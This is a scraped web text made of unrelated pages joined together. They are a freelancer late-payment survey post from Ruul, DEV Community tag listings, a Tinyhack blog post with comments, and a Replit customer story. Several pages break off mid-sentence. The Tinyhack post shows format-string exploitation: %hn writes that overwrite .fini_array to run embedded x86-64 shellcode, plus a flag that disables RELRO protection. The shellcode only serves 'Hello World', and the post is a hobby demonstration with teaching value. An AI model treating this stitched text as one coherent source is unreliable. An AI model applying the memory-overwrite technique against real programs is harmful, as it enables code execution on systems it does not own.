pandemic, and many businesses more readily accept that remote work. Maybe you'd think it is too early to say 'Freelancing is the future of work.' However, we see that flexible working models and freelancers are rapidly being in demand internationally.Unfortunately, we also see that the problems of this significant workforce are not yet widely discussed, and solutions are not developed yet. With remote work being widespread, the inequality between freelancers and employees on payroll is becoming significant. While unions and laws defend the rights of employees, unfortunately, freelancers' rights are not protected at this level yet. So what is the most significant pain point of freelancers? Freelancers deal with late payments all the time, but it rarely gets talked about We realized that the most significant pain point of freelancers is receiving their payments late. Therefore, we decided to profoundly research and understand this problem and create discussions and informative content for our audience.Here are the striking results of our survey of more than 30,000 freelancers about the late payment issues. The results of our research The biggest problem of our freelance community is not getting their payments on time. It isn’t very encouraging for a freelancer to put in x hours for a project and not get his/her payment on time. But the real question to ask is: what do we do about it? To answer this question, first, we must understand the problem.Here are some findings from the research we conducted with our freelancers about the late payment issue. Freelancing is the only paying job for the majority of independent professionals %63 of respondents said freelancing is their primary income, while 37 say they do freelancing as s side-gig. %53 of the freelancers received their payments late 4 or more than 4 times in the last year Freelancers do not have enough information about the legal regulations that empower them to receive their payments on time Half of the independent professionals surveyed said they did not know the contract terms to guarantee paydays. Freelancers do not seek their rights through legal means because they don’t want to damage their relations with their clients The rate of those who think they can lose their freelance jobs, especially if they demand their delayed payments, is quite thought-provoking. What is more striking is that the rate of freelancers seeking their rights in court due to their late payment is only 3%.Likewise, freelancers do not demand late payment fees not to damage their relations with their clients and not lose their jobs. While 40% say they do not request a late payment fee to protect their relationship with the clients, 25% say they do not know how to charge a late payment fee. 58% of the respondents stated that they had difficulty paying their monthly living expenses due to late payments The rate of independent professionals who stated that they had difficulty paying their regular living expenses due to late payments was 58%. In conclusion, we can say that the systems protecting freelancers have not been built yet and independent professionals trying to survive as individuals in a large economy see themselves as powerless and alone most of the time.As one of the most ambitious players in this ecosystem, "how can we fix late payment issues for our users and other freelancers globally" is an important question that we are asking ourselves to take action in the future. What do freelancers say on the late payment issue? We have compiled some of the comments that you may find meaningful from our surveys. Let's see if the stories they tell sound familiar to you. -”A client accepted a big fee raise after I filed for legal action. I withdrew once they paid.”-“I am waiting for late payment for more than 3 months now, my client contacted me for more freelance work and I will charge him extra for this new job =)”-“This is when I had not been paid for the last 3 months (I do about 12 hrs a month for them, so its a regular gig, I'd been sending reminders and not had any answers so I went there in person and the boss basically turned around and shamed me for bringing it up to him. He actually shouted in my face.”-“When I reminded my payment, the client told me "You're the only one we work with that we have these issues with" (Not true, everyone who has worked with them has a least one, if not regular stories of late payments).”-“Yeah, my current client always pays late every 1st week of the month. Sometimes 1st-week beginning or end. But I always chase my client to get the payment if it’s late. It is a game for us now.”-“The majority of entities from Turkey never pay on time, I believe it's a culture code they ought to follow. A few entities from the US paid late a couple of times, and they've always expressed their excuses and offered to pay either interest or do anything reasonable as a favor in return.” ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul. After graduating Boston College with finance and economics degrees, she began her career as a Finance Executive. Prior to Ruul, she held managerial positions in finance and marketing. Esen's entrepreneurship success earned her recognition in Fortune's 40 under 40 list in 2022. More 5 Marketing Tip For Freelancers Elevate your freelance game with 5 pandemic-proof marketing tips. Stay ahead, thrive, and succeed! Read more How to Create a Self-Employed Resume Learn how to craft a professional self-employed resume that showcases your skills, projects, and testimonials. Highlight your unique strengths, manage payments easily, and stand out to potential clients with tips and tools like Ruul. Read more Freelance and Self-Employed Taxes in the UK (A to Z Guide) Paying taxes as a freelancer can be overwhelming, but this guide breaks down everything you need to know. Learn about self-employed status, mandatory NI, and the three different tax bands in the UK. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Architecture Follow Hide The fundamental structures of a software system. Create Post Older #architecture posts 1 2 3 4 5 6 7 8 9 … 75 … 387 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Is an AI Model Software? – A Low‑Level Technical View Ben Santora Ben Santora Ben Santora Follow Jan 12 Is an AI Model Software? – A Low‑Level Technical View # discuss # ai # architecture # software 9 reactions Comments Add Comment 4 min read The Underlying Process of Request Processing Sergiy Yevtushenko Sergiy Yevtushenko Sergiy Yevtushenko Follow Jan 12 The Underlying Process of Request Processing # java # functional # architecture # backend Comments Add Comment 4 min read Contrast sync vs async failure classes using first principles Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Contrast sync vs async failure classes using first principles # architecture # computerscience # systemdesign Comments Add Comment 3 min read How to Question Any System Design Problem (With Live Interview Walkthrough) Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 How to Question Any System Design Problem (With Live Interview Walkthrough) # architecture # career # interview # systemdesign Comments Add Comment 4 min read Thinking in First Principles: How to Question an Async Queue–Based Design Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 Thinking in First Principles: How to Question an Async Queue–Based Design # architecture # interview # learning # systemdesign Comments Add Comment 4 min read EP 8: The Legend of "ShopStream": A Tale of Two Architectures Hrishikesh Dalal Hrishikesh Dalal Hrishikesh Dalal Follow Jan 10 EP 8: The Legend of "ShopStream": A Tale of Two Architectures # systemdesign # webdev # architecture # microservices Comments Add Comment 4 min read How I Built a Production AI Chatbot (That Actually Handles Complexity) Rizwanul Islam Rizwanul Islam Rizwanul Islam Follow Jan 13 How I Built a Production AI Chatbot (That Actually Handles Complexity) # nextjs # ai # openai # architecture Comments Add Comment 2 min read Observation State Made Simple Tensor Labs Tensor Labs Tensor Labs Follow Jan 13 Observation State Made Simple # algorithms # architecture # blockchain # web3 Comments Add Comment 3 min read How to Identify System Design Problems from First Principles Mohammad-Idrees Mohammad-Idrees Mohammad-Idrees Follow Jan 13 How to Identify System Design Problems from First Principles # architecture # interview # systemdesign # tutorial Comments Add Comment 3 min read From Startup to Unicorn: A Blueprint for Secure Enterprise Architecture Eber Cruz Eber Cruz Eber Cruz Follow Jan 13 From Startup to Unicorn: A Blueprint for Secure Enterprise Architecture # software # architecture # springboot # startup Comments Add Comment 3 min read Infrastructure for Extensible Multi-Stage Workflows Across Multiple Data Types Michael Gantman Michael Gantman Michael Gantman Follow Jan 12 Infrastructure for Extensible Multi-Stage Workflows Across Multiple Data Types # architecture # java # systemdesign Comments Add Comment 48 min read SwiftUI Error Recovery & Retry Systems (Resilient Architecture) Sebastien Lato Sebastien Lato Sebastien Lato Follow Jan 12 SwiftUI Error Recovery & Retry Systems (Resilient Architecture) # swiftui # architecture # errors # retry Comments Add Comment 2 min read Building a 49-Country Exchange Calculator with a Single Static Page 임세환 임세환 임세환 Follow Jan 13 Building a 49-Country Exchange Calculator with a Single Static Page # architecture # frontend # javascript Comments Add Comment 2 min read Inside SQLite: Naming files Athreya aka Maneshwar Athreya aka Maneshwar Athreya aka Maneshwar Follow Jan 12 Inside SQLite: Naming files # webdev # programming # database # architecture 15 reactions Comments Add Comment 3 min read Building a Multifunctional Discord Bot: A Comprehensive Technical Deep Dive J3ffJessie J3ffJessie J3ffJessie Follow Jan 12 Building a Multifunctional Discord Bot: A Comprehensive Technical Deep Dive # api # architecture # tutorial 1 reaction Comments Add Comment 10 min read A Lightweight, Plugin-Oriented ETL Engine for Data Synchronization Built on Akka.NET Ryan Xu Ryan Xu Ryan Xu Follow Jan 12 A Lightweight, Plugin-Oriented ETL Engine for Data Synchronization Built on Akka.NET # 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nop # programming # architecture # java Comments Add Comment 15 min read GraphRAG and Agentic Architecture: A Look Inside NeoConverse Kumar Kislay Kumar Kislay Kumar Kislay Follow Jan 12 GraphRAG and Agentic Architecture: A Look Inside NeoConverse # agents # architecture # rag Comments Add Comment 3 min read Smart Contracts on Midnight: Programming Visibility, Not Storage Henry Odinakachukwu Henry Odinakachukwu Henry Odinakachukwu Follow Jan 12 Smart Contracts on Midnight: Programming Visibility, Not Storage # architecture # blockchain # privacy # web3 Comments Add Comment 1 min read Why I Divorced Laravel Observers Rafhael Marsigli Rafhael Marsigli Rafhael Marsigli Follow Jan 12 Why I Divorced Laravel Observers # laravel # php # architecture # backend Comments Add Comment 3 min read Code ownership is not “please fix this for me” maria tzanidaki maria tzanidaki maria tzanidaki Follow Jan 12 Code ownership is not “please fix this for me” # discuss # architecture # codequality # leadership 2 reactions Comments 3 comments 3 min read From Web to Desktop: Building CodeForge Portable with WebView2 Francesco Marconi Francesco Marconi Francesco Marconi Follow Jan 12 From Web to Desktop: Building CodeForge Portable with WebView2 # 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23492 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://replit.com/customers/spellbook | Spellbook — Customer Story - Replit Agent Products Agent Design Database Publish Security Integrations Mobile For Work Teams Replit for teams to build together Enterprise Replit with Enterprise-grade security & controls Use Cases Business Apps Rapid Prototyping Roles Enterprise PM Designers Operations Software Developers Small Businesses SMB owners Founders Resources Get Started Docs Community Expert Network Inspiration Customer Stories Gallery Blog News Pricing Careers Agent Contact sales Log in Sign up Products For Work Resources Pricing Careers Contact sales Log in Start building From Idea to 17x Growth: How Spellbook Created a Prototype on Replit and Raised Funding 17x growth 30,000+ waitlist signups 3,000+ customers 17x growth 30,000+ waitlist signups 3,000+ customers "I can honestly say that if it weren't for Replit and that prototype that I was able to build in two weeks, it just wouldn't have happened. The opportunity would have perished. Someone else would have done it first... Replit for us was the way to actually do it. And it actually completely and utterly changed the trajectory of our company in a massive way." Scott Stevenson Co-founder & CEO, Spellbook The challenge: When inspiration strikes, time is everything In summer 2022, as GPT-3 emerged, Scott had a lightning-bolt moment: What if lawyers could have the same AI assistance for contracts that developers had for code? The problem? Scott was already running a company with existing customers, board meetings, and daily operations. Like most founders with mature products, he faced the brutal reality that inspiration is perishable —and the infrastructure overhead to test new ideas often kills them before they can prove their worth. "When you have customers, time becomes so scarce. Even if you're a technical founder like me with experience building software, you just don't have the time to spin up infrastructure, write all the boilerplate... It's brutally time consuming," Scott explains. "Most companies are horrible at executing on these strokes of inspiration because you just never find the time." Scott Stevenson Co-founder & CEO, Spellbook Why Replit: Cutting through the boilerplate Scott needed to move fast—before ChatGPT launched and flooded the market with competitors. Traditional development would have meant weeks of infrastructure setup, database configuration, and deployment pipelines. Time he simply didn't have. "Without Replit, this prototype just never would have happened. I would have been too busy," Scott reflects. "We're often addicted to doing the prerequisites—standing up infrastructure and boilerplate things because it feels good and certain, but boilerplate things are not valuable when you are testing new ideas (because validation is all that matters at first)." Replit eliminated all that overhead, letting Scott focus on the core idea: building AI for lawyers. Building the MVP: Two weeks that changed everything Scott needed to move fast—before ChatGPT launched and flooded the Working evenings and weekends while still running Rally, Scott used Replit to build what would become Spellbook—an AI copilot for contract review and drafting integrated directly into Microsoft Word. The prototype featured: Auto-complete for legal language similar to AI code completion Microsoft Word integration for seamless lawyer workflow GPT powered contract assistance before most people knew what generative AI could do "I built this on my own in two weeks using Replit on evenings and weekends because I still had to run the company, do board meetings, do our normal plan we were supposed to be doing," Scott says. Scott Stevenson Co-founder & CEO, Spellbook The results: From side project to major success What Scott thought would be "a cool little marketing splash" became a complete business transformation: 📈 Explosive growth stats: 30,000+ waitlist signups in just 3 months More revenue in one quarter than their previous product generated in 3 years 100+ employees and significant funding raised 17x growth over the past two years 3,000+ customers including Nestlé, Crocs, Fender, and eBay ⚡ Speed to market advantage: By launching before ChatGPT, Spellbook established itself as the first generative AI tool for lawyers—a positioning that proved crucial as the market exploded with competitors. "Without Replit, we would have come after ChatGPT and been swamped in a sea of other similar products. Us being out ahead really helped," Scott notes. The bigger picture: Radical agility in the AI age Scott's experience with Replit fundamentally changed how he thinks about innovation: "I think about all the perishable ideas in your company. You go to a CEO and say, 'You have all these ideas that no one executes on.' What if you can pitch a company where that idea you had in a board meeting today can be prototyped by this afternoon? You actually should expect that from your team." Scott's philosophy: If a new model comes out with significant capabilities, you should have it live and testing in real use cases within two days. About Spellbook Spellbook is the most complete legal AI suite for commercial lawyers, trusted by more than 3,000 law firms and in-house teams worldwide. To learn more visit: https://spellbook.legal Handy Links About us Vibe Coding 101 Help How to guides Import from GitHub Status Additional resources Brand kit Partnerships Legal Terms of service Commercial agreement Privacy Subprocessors DPA Report abuse Connect X / Twitter Tiktok Facebook Instagram Linkedin Scroll to top All rights reserved. Copyright © 2026 Replit, Inc. | 2026-01-13T08:47:54 |
https://dev.to/t/productivity/page/1272 | Productivity Page 1272 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, 